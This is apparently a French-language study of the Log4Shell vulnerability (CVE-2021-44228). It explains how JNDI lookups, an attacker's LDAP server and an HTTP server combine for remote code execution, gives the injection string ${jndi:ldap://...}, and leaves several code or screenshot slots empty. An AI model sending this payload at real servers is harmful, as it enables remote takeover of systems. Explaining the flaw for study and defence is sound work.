
Étude de vulnérabilité CVE-2021-44228
Ci-dessous un processus détaillé d'un cas d'injection à distance par exploitation de la vulnérabilité log4shell. Tout d'abord, il y a 3 parties à connaître :
Log4j2 permet de journaliser des données à l'aide d'une fonctionnalité appelée substitution de recherche dans les messages, où les messages de journal peuvent inclure des données extraites dynamiquement de diverses sources. (Il prend en charge JNDI Lookup)
JNDI Lookup : Permet de récupérer des données via l'API Java Naming and Directory Interface (JNDI), qui peut interagir avec différents services d'annuaire

LDAP (Lightweight Directory Access Protocol) : Utilisé principalement pour accéder aux services d'informations d'annuaire et les gérer sur un réseau.
Voici un exemple simple d'exécution de code à distance :

Le hacker met en place à la fois un serveur LDAP (accessible via le protocole LDAP, contenant une référence vers le code Java malveillant) et un serveur HTTP (l'endroit où est stocké le code malveillant)
Mettre en place un serveur HTTP dans le répertoire contenant le code malveillant compilé :

Mettre en place un serveur LDAP qui stocke la référence :

Le hacker envoie une entrée malveillante (${jndi:ldap://LDAPSERVER IP:PORT/code}) au système logiciel sur lequel log4j2 est installé

Log4j2 utilise la fonctionnalité de lookup pour envoyer une requête au serveur LDAP
Le serveur LDAP redirige les requêtes vers les serveurs HTTP via les références de code Java stockées dans les serveurs LDAP
Le serveur HTTP renvoie le code malveillant au système logiciel, qui exécute ensuite le code malveillant.
Code malveillant :

Exécution du code malveillant réussie :

IMPORTANT :
Nous ne sommes pas limités à l'utilisation d'un serveur LDAP pour effectuer l'exécution de code à distance ; nous pouvons également utiliser d'autres méthodes (comme RMI) tant que log4j2 effectue avec succès la substitution de recherche dans les messages et exécute le code malveillant
Différentes versions de Java peuvent rendre le processus d'exploitation différent (ici nous utilisons Java 1.8u112).
Il est recommandé d'utiliser la même version de Java dans le code malveillant que celle du logiciel (serveurs utilisant log4j2), ou, au plus, une version non supérieure à celle du logiciel.

Le code de lookup dans Log4j2 :
